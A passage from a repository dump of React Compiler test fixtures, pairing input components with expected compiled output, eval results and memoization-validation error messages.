[{},{\"a\":\"a!\",\"x\":\"[[ cyclic ref *1 ]]\"}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/phi-type-inference-property-store.js",
    "content": "// @debug\nfunction Component(props) {\n  const x = {};\n  let y;\n  if (props.cond) {\n    y = {};\n  } else {\n    y = {a: props.a};\n  }\n  // This should be inferred as `<store> y` s.t. `x` can still\n  // be independently memoized. *But* this also must properly\n  // extend the mutable range of the object literals in the\n  // if/else branches\n  y.x = x;\n\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, a: 'a!'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-existing-memoization-guarantees/lambda-with-fbt-preserve-memoization.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees\nimport {fbt} from 'fbt';\n\nfunction Component() {\n  const buttonLabel = () => {\n    if (!someCondition) {\n      return <fbt desc=\"My label\">{'Purchase as a gift'}</fbt>;\n    } else if (\n      !iconOnly &&\n      showPrice &&\n      item?.current_gift_offer?.price?.formatted != null\n    ) {\n      return (\n        <fbt desc=\"Gift button's label\">\n          {'Gift | '}\n          <fbt:param name=\"price\">\n            {item?.current_gift_offer?.price?.formatted}\n          </fbt:param>\n        </fbt>\n      );\n    } else if (!iconOnly && !showPrice) {\n      return <fbt desc=\"Gift button's label\">{'Gift'}</fbt>;\n    }\n  };\n\n  return (\n    <View>\n      <Button text={buttonLabel()} />\n    </View>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees\nimport { fbt } from \"fbt\";\n\nfunction Component() {\n  const $ = _c(1);\n  const buttonLabel = _temp;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (\n      <View>\n        <Button text={buttonLabel()} />\n      </View>\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  if (!someCondition) {\n    return fbt._(\"Purchase as a gift\", null, { hk: \"1gHj4g\" });\n  } else {\n    if (\n      !iconOnly &&\n      showPrice &&\n      item?.current_gift_offer?.price?.formatted != null\n    ) {\n      return fbt._(\n        \"Gift | {price}\",\n        [fbt._param(\"price\", item?.current_gift_offer?.price?.formatted)],\n        { hk: \"3GTnGE\" },\n      );\n    } else {\n      if (!iconOnly && !showPrice) {\n        return fbt._(\"Gift\", null, { hk: \"3fqfrk\" });\n      }\n    }\n  }\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-existing-memoization-guarantees/lambda-with-fbt-preserve-memoization.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees\nimport {fbt} from 'fbt';\n\nfunction Component() {\n  const buttonLabel = () => {\n    if (!someCondition) {\n      return <fbt desc=\"My label\">{'Purchase as a gift'}</fbt>;\n    } else if (\n      !iconOnly &&\n      showPrice &&\n      item?.current_gift_offer?.price?.formatted != null\n    ) {\n      return (\n        <fbt desc=\"Gift button's label\">\n          {'Gift | '}\n          <fbt:param name=\"price\">\n            {item?.current_gift_offer?.price?.formatted}\n          </fbt:param>\n        </fbt>\n      );\n    } else if (!iconOnly && !showPrice) {\n      return <fbt desc=\"Gift button's label\">{'Gift'}</fbt>;\n    }\n  };\n\n  return (\n    <View>\n      <Button text={buttonLabel()} />\n    </View>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-jsxtext-stringliteral-distinction.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo() {\n  return <div> {', '}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div> {\", \"}</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div> , </div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-jsxtext-stringliteral-distinction.js",
    "content": "function Foo() {\n  return <div> {', '}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain-less-precise-deps.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\n\nimport {useMemo} from 'react';\nimport {identity, ValidateMemoization} from 'shared-runtime';\n\nfunction Component({x}) {\n  const object = useMemo(() => {\n    return identity({\n      callback: () => {\n        return identity(x.y.z); // accesses more levels of properties than the manual memo\n      },\n    });\n    // x.y as a manual dep only tells us that x is non-nullable, not that x.y is non-nullable\n    // we can only take a dep on x.y, not x.y.z\n  }, [x.y]);\n  const result = useMemo(() => {\n    return [object.callback()];\n  }, [object]);\n  return <ValidateMemoization inputs={[x.y]} output={result} />;\n}\n\nconst input1 = {x: {y: {z: 42}}};\nconst input1b = {x: {y: {z: 42}}};\nconst input2 = {x: {y: {z: 3.14}}};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [input1],\n  sequentialRenders: [\n    input1,\n    input1,\n    input1b, // should reset even though .z didn't change\n    input1,\n    input2,\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\n\nimport { useMemo } from \"react\";\nimport { identity, ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(11);\n  const { x } = t0;\n  let t1;\n  if ($[0] !== x.y) {\n    t1 = identity({ callback: () => identity(x.y.z) });\n    $[0] = x.y;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const object = t1;\n  let t2;\n  if ($[2] !== object) {\n    t2 = object.callback();\n    $[2] = object;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== t2) {\n    t3 = [t2];\n    $[4] = t2;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  const result = t3;\n  let t4;\n  if ($[6] !== x.y) {\n    t4 = [x.y];\n    $[6] = x.y;\n    $[7] = t4;\n  } else {\n    t4 = $[7];\n  }\n  let t5;\n  if ($[8] !== result || $[9] !== t4) {\n    t5 = <ValidateMemoization inputs={t4} output={result} />;\n    $[8] = result;\n    $[9] = t4;\n    $[10] = t5;\n  } else {\n    t5 = $[10];\n  }\n  return t5;\n}\n\nconst input1 = { x: { y: { z: 42 } } };\nconst input1b = { x: { y: { z: 42 } } };\nconst input2 = { x: { y: { z: 3.14 } } };\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [input1],\n  sequentialRenders: [\n    input1,\n    input1,\n    input1b, // should reset even though .z didn't change\n    input1,\n    input2,\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[{\"z\":42}],\"output\":[42]}</div>\n<div>{\"inputs\":[{\"z\":42}],\"output\":[42]}</div>\n<div>{\"inputs\":[{\"z\":42}],\"output\":[42]}</div>\n<div>{\"inputs\":[{\"z\":42}],\"output\":[42]}</div>\n<div>{\"inputs\":[{\"z\":3.14}],\"output\":[3.14]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain-less-precise-deps.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\n\nimport {useMemo} from 'react';\nimport {identity, ValidateMemoization} from 'shared-runtime';\n\nfunction Component({x}) {\n  const object = useMemo(() => {\n    return identity({\n      callback: () => {\n        return identity(x.y.z); // accesses more levels of properties than the manual memo\n      },\n    });\n    // x.y as a manual dep only tells us that x is non-nullable, not that x.y is non-nullable\n    // we can only take a dep on x.y, not x.y.z\n  }, [x.y]);\n  const result = useMemo(() => {\n    return [object.callback()];\n  }, [object]);\n  return <ValidateMemoization inputs={[x.y]} output={result} />;\n}\n\nconst input1 = {x: {y: {z: 42}}};\nconst input1b = {x: {y: {z: 42}}};\nconst input2 = {x: {y: {z: 3.14}}};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [input1],\n  sequentialRenders: [\n    input1,\n    input1,\n    input1b, // should reset even though .z didn't change\n    input1,\n    input2,\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\n\nimport {useMemo} from 'react';\nimport {identity, ValidateMemoization} from 'shared-runtime';\n\nfunction Component({x}) {\n  const object = useMemo(() => {\n    return identity({\n      callback: () => {\n        return identity(x.y.z);\n      },\n    });\n  }, [x.y.z]);\n  const result = useMemo(() => {\n    return [object.callback()];\n  }, [object]);\n  return <ValidateMemoization inputs={[x.y.z]} output={result} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: {y: {z: 42}}}],\n  sequentialRenders: [\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 3.14}}},\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 3.14}}},\n    {x: {y: {z: 42}}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\n\nimport { useMemo } from \"react\";\nimport { identity, ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(11);\n  const { x } = t0;\n  let t1;\n  if ($[0] !== x.y.z) {\n    t1 = identity({ callback: () => identity(x.y.z) });\n    $[0] = x.y.z;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const object = t1;\n  let t2;\n  if ($[2] !== object) {\n    t2 = object.callback();\n    $[2] = object;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== t2) {\n    t3 = [t2];\n    $[4] = t2;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  const result = t3;\n  let t4;\n  if ($[6] !== x.y.z) {\n    t4 = [x.y.z];\n    $[6] = x.y.z;\n    $[7] = t4;\n  } else {\n    t4 = $[7];\n  }\n  let t5;\n  if ($[8] !== result || $[9] !== t4) {\n    t5 = <ValidateMemoization inputs={t4} output={result} />;\n    $[8] = result;\n    $[9] = t4;\n    $[10] = t5;\n  } else {\n    t5 = $[10];\n  }\n  return t5;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: { y: { z: 42 } } }],\n  sequentialRenders: [\n    { x: { y: { z: 42 } } },\n    { x: { y: { z: 42 } } },\n    { x: { y: { z: 3.14 } } },\n    { x: { y: { z: 42 } } },\n    { x: { y: { z: 3.14 } } },\n    { x: { y: { z: 42 } } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[42],\"output\":[42]}</div>\n<div>{\"inputs\":[42],\"output\":[42]}</div>\n<div>{\"inputs\":[3.14],\"output\":[3.14]}</div>\n<div>{\"inputs\":[42],\"output\":[42]}</div>\n<div>{\"inputs\":[3.14],\"output\":[3.14]}</div>\n<div>{\"inputs\":[42],\"output\":[42]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\n\nimport {useMemo} from 'react';\nimport {identity, ValidateMemoization} from 'shared-runtime';\n\nfunction Component({x}) {\n  const object = useMemo(() => {\n    return identity({\n      callback: () => {\n        return identity(x.y.z);\n      },\n    });\n  }, [x.y.z]);\n  const result = useMemo(() => {\n    return [object.callback()];\n  }, [object]);\n  return <ValidateMemoization inputs={[x.y.z]} output={result} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: {y: {z: 42}}}],\n  sequentialRenders: [\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 3.14}}},\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 3.14}}},\n    {x: {y: {z: 42}}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-optional-property-chain.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\n\nimport {useMemo} from 'react';\nimport {identity, ValidateMemoization} from 'shared-runtime';\n\nfunction Component({x, y, z}) {\n  const object = useMemo(() => {\n    return identity({\n      callback: () => {\n        return identity(x?.y?.z, y.a?.b, z.a.b?.c);\n      },\n    });\n  }, [x?.y?.z, y.a?.b, z.a.b?.c]);\n  const result = useMemo(() => {\n    return [object.callback()];\n  }, [object]);\n  return <Inner x={x} result={result} />;\n}\n\nfunction Inner({x, result}) {\n  'use no memo';\n  return <ValidateMemoization inputs={[x.y.z]} output={result} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: {y: {z: 42}}}],\n  sequentialRenders: [\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 3.14}}},\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 3.14}}},\n    {x: {y: {z: 42}}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\n\nimport { useMemo } from \"react\";\nimport { identity, ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(11);\n  const { x, y, z } = t0;\n\n  x?.y?.z;\n  y.a?.b;\n  z.a.b?.c;\n  let t1;\n  if ($[0] !== x?.y?.z || $[1] !== y.a?.b || $[2] !== z.a.b?.c) {\n    t1 = identity({ callback: () => identity(x?.y?.z, y.a?.b, z.a.b?.c) });\n    $[0] = x?.y?.z;\n    $[1] = y.a?.b;\n    $[2] = z.a.b?.c;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const object = t1;\n  let t2;\n  if ($[4] !== object) {\n    t2 = object.callback();\n    $[4] = object;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  let t3;\n  if ($[6] !== t2) {\n    t3 = [t2];\n    $[6] = t2;\n    $[7] = t3;\n  } else {\n    t3 = $[7];\n  }\n  const result = t3;\n  let t4;\n  if ($[8] !== result || $[9] !== x) {\n    t4 = <Inner x={x} result={result} />;\n    $[8] = result;\n    $[9] = x;\n    $[10] = t4;\n  } else {\n    t4 = $[10];\n  }\n  return t4;\n}\n\nfunction Inner({ x, result }) {\n  \"use no memo\";\n  return <ValidateMemoization inputs={[x.y.z]} output={result} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: { y: { z: 42 } } }],\n  sequentialRenders: [\n    { x: { y: { z: 42 } } },\n    { x: { y: { z: 42 } } },\n    { x: { y: { z: 3.14 } } },\n    { x: { y: { z: 42 } } },\n    { x: { y: { z: 3.14 } } },\n    { x: { y: { z: 42 } } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-optional-property-chain.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\n\nimport {useMemo} from 'react';\nimport {identity, ValidateMemoization} from 'shared-runtime';\n\nfunction Component({x, y, z}) {\n  const object = useMemo(() => {\n    return identity({\n      callback: () => {\n        return identity(x?.y?.z, y.a?.b, z.a.b?.c);\n      },\n    });\n  }, [x?.y?.z, y.a?.b, z.a.b?.c]);\n  const result = useMemo(() => {\n    return [object.callback()];\n  }, [object]);\n  return <Inner x={x} result={result} />;\n}\n\nfunction Inner({x, result}) {\n  'use no memo';\n  return <ValidateMemoization inputs={[x.y.z]} output={result} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: {y: {z: 42}}}],\n  sequentialRenders: [\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 3.14}}},\n    {x: {y: {z: 42}}},\n    {x: {y: {z: 3.14}}},\n    {x: {y: {z: 42}}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-dropped-infer-always-invalidating.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\nimport {useHook} from 'shared-runtime';\n\n// useMemo values may not be memoized in Forget output if we\n// infer that their deps always invalidate.\n// This is technically a false positive as the useMemo in source\n// was effectively a no-op\nfunction useFoo(props) {\n  const x = [];\n  useHook();\n  x.push(props);\n\n  return useMemo(() => [x], [x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.\n\nerror.false-positive-useMemo-dropped-infer-always-invalidating.ts:15:9\n  13 |   x.push(props);\n  14 |\n> 15 |   return useMemo(() => [x], [x]);\n     |          ^^^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing memoization\n  16 | }\n  17 |\n  18 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-dropped-infer-always-invalidating.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\nimport {useHook} from 'shared-runtime';\n\n// useMemo values may not be memoized in Forget output if we\n// infer that their deps always invalidate.\n// This is technically a false positive as the useMemo in source\n// was effectively a no-op\nfunction useFoo(props) {\n  const x = [];\n  useHook();\n  x.push(props);\n\n  return useMemo(() => [x], [x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-infer-mutate-deps.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\n// This is a false positive as Forget's inferred memoization\n// invalidates strictly less than source. We currently do not\n// track transitive deps / invalidations of manual memo deps\n// because of implementation complexity\nfunction useFoo() {\n  const val = [1, 2, 3];\n\n  return useMemo(() => {\n    return identity(val);\n  }, [val]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.\n\nerror.false-positive-useMemo-infer-mutate-deps.ts:14:6\n  12 |   return useMemo(() => {\n  13 |     return identity(val);\n> 14 |   }, [val]);\n     |       ^^^ This dependency may be modified later\n  15 | }\n  16 |\n  17 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-infer-mutate-deps.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\n// This is a false positive as Forget's inferred memoization\n// invalidates strictly less than source. We currently do not\n// track transitive deps / invalidations of manual memo deps\n// because of implementation complexity\nfunction useFoo() {\n  const val = [1, 2, 3];\n\n  return useMemo(() => {\n    return identity(val);\n  }, [val]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-overlap-scopes.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees:true\nimport {useMemo} from 'react';\nimport {arrayPush} from 'shared-runtime';\n\n/**\n * Repro showing differences between mutable ranges and scope ranges.\n *\n * For useMemo dependency `x`:\n * - mutable range ends after the `arrayPush(x, b)` instruction\n * - scope range is extended due to MergeOverlappingScopes\n *\n * Since manual memo deps are guaranteed to be named (guaranteeing valid\n * codegen), it's correct to take a dependency on a dep *before* the end\n * of its scope (but after its mutable range ends).\n */\n\nfunction useFoo(a, b) {\n  const x = [];\n  const y = [];\n  arrayPush(x, b);\n  const result = useMemo(() => {\n    return [Math.max(x[1], a)];\n  }, [a, x]);\n  arrayPush(y, 3);\n  return {result, y};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1, 2],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.\n\nerror.false-positive-useMemo-overlap-scopes.ts:23:9\n  21 |   const result = useMemo(() => {\n  22 |     return [Math.max(x[1], a)];\n> 23 |   }, [a, x]);\n     |          ^ This dependency may be modified later\n  24 |   arrayPush(y, 3);\n  25 |   return {result, y};\n  26 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-overlap-scopes.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees:true\nimport {useMemo} from 'react';\nimport {arrayPush} from 'shared-runtime';\n\n/**\n * Repro showing differences between mutable ranges and scope ranges.\n *\n * For useMemo dependency `x`:\n * - mutable range ends after the `arrayPush(x, b)` instruction\n * - scope range is extended due to MergeOverlappingScopes\n *\n * Since manual memo deps are guaranteed to be named (guaranteeing valid\n * codegen), it's correct to take a dependency on a dep *before* the end\n * of its scope (but after its mutable range ends).\n */\n\nfunction useFoo(a, b) {\n  const x = [];\n  const y = [];\n  arrayPush(x, b);\n  const result = useMemo(() => {\n    return [Math.max(x[1], a)];\n  }, [a, x]);\n  arrayPush(y, 3);\n  return {result, y};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1, 2],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-conditional-access-own-scope.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useCallback} from 'react';\n\nfunction Component({propA, propB}) {\n  return useCallback(() => {\n    if (propA) {\n      return {\n        value: propB.x.y,\n      };\n    }\n  }, [propA, propB.x.y]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 1, propB: {x: {y: []}}}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propB`, but the source dependencies were [propA, propB.x.y]. Inferred less specific property than source.\n\nerror.hoist-useCallback-conditional-access-own-scope.ts:5:21\n   3 |\n   4 | function Component({propA, propB}) {\n>  5 |   return useCallback(() => {\n     |                      ^^^^^^^\n>  6 |     if (propA) {\n     | ^^^^^^^^^^^^^^^^\n>  7 |       return {\n     | ^^^^^^^^^^^^^^^^\n>  8 |         value: propB.x.y,\n     | ^^^^^^^^^^^^^^^^\n>  9 |       };\n     | ^^^^^^^^^^^^^^^^\n> 10 |     }\n     | ^^^^^^^^^^^^^^^^\n> 11 |   }, [propA, propB.x.y]);\n     | ^^^^ Could not preserve existing manual memoization\n  12 | }\n  13 |\n  14 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-conditional-access-own-scope.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useCallback} from 'react';\n\nfunction Component({propA, propB}) {\n  return useCallback(() => {\n    if (propA) {\n      return {\n        value: propB.x.y,\n      };\n    }\n  }, [propA, propB.x.y]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 1, propB: {x: {y: []}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-infer-conditional-value-block.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {useCallback} from 'react';\nimport {identity, mutate} from 'shared-runtime';\n\nfunction useHook(propA, propB) {\n  return useCallback(() => {\n    const x = {};\n    if (identity(null) ?? propA.a) {\n      mutate(x);\n      return {\n        value: propB.x.y,\n      };\n    }\n  }, [propA.a, propB.x.y]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{a: 1}, {x: {y: 3}}],\n};\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propA`, but the source dependencies were [propA.a, propB.x.y]. Inferred less specific property than source.\n\nerror.hoist-useCallback-infer-conditional-value-block.ts:6:21\n   4 |\n   5 | function useHook(propA, propB) {\n>  6 |   return useCallback(() => {\n     |                      ^^^^^^^\n>  7 |     const x = {};\n     | ^^^^^^^^^^^^^^^^^\n>  8 |     if (identity(null) ?? propA.a) {\n     | ^^^^^^^^^^^^^^^^^\n>  9 |       mutate(x);\n     | ^^^^^^^^^^^^^^^^^\n> 10 |       return {\n     | ^^^^^^^^^^^^^^^^^\n> 11 |         value: propB.x.y,\n     | ^^^^^^^^^^^^^^^^^\n> 12 |       };\n     | ^^^^^^^^^^^^^^^^^\n> 13 |     }\n     | ^^^^^^^^^^^^^^^^^\n> 14 |   }, [propA.a, propB.x.y]);\n     | ^^^^ Could not preserve existing manual memoization\n  15 | }\n  16 |\n  17 | export const FIXTURE_ENTRYPOINT = {\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propB`, but the source dependencies were [propA.a, propB.x.y]. Inferred less specific property than source.\n\nerror.hoist-useCallback-infer-conditional-value-block.ts:6:21\n   4 |\n   5 | function useHook(propA, propB) {\n>  6 |   return useCallback(() => {\n     |                      ^^^^^^^\n>  7 |     const x = {};\n     | ^^^^^^^^^^^^^^^^^\n>  8 |     if (identity(null) ?? propA.a) {\n     | ^^^^^^^^^^^^^^^^^\n>  9 |       mutate(x);\n     | ^^^^^^^^^^^^^^^^^\n> 10 |       return {\n     | ^^^^^^^^^^^^^^^^^\n> 11 |         value: propB.x.y,\n     | ^^^^^^^^^^^^^^^^^\n> 12 |       };\n     | ^^^^^^^^^^^^^^^^^\n> 13 |     }\n     | ^^^^^^^^^^^^^^^^^\n> 14 |   }, [propA.a, propB.x.y]);\n     | ^^^^ Could not preserve existing manual memoization\n  15 | }\n  16 |\n  17 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-infer-conditional-value-block.ts",
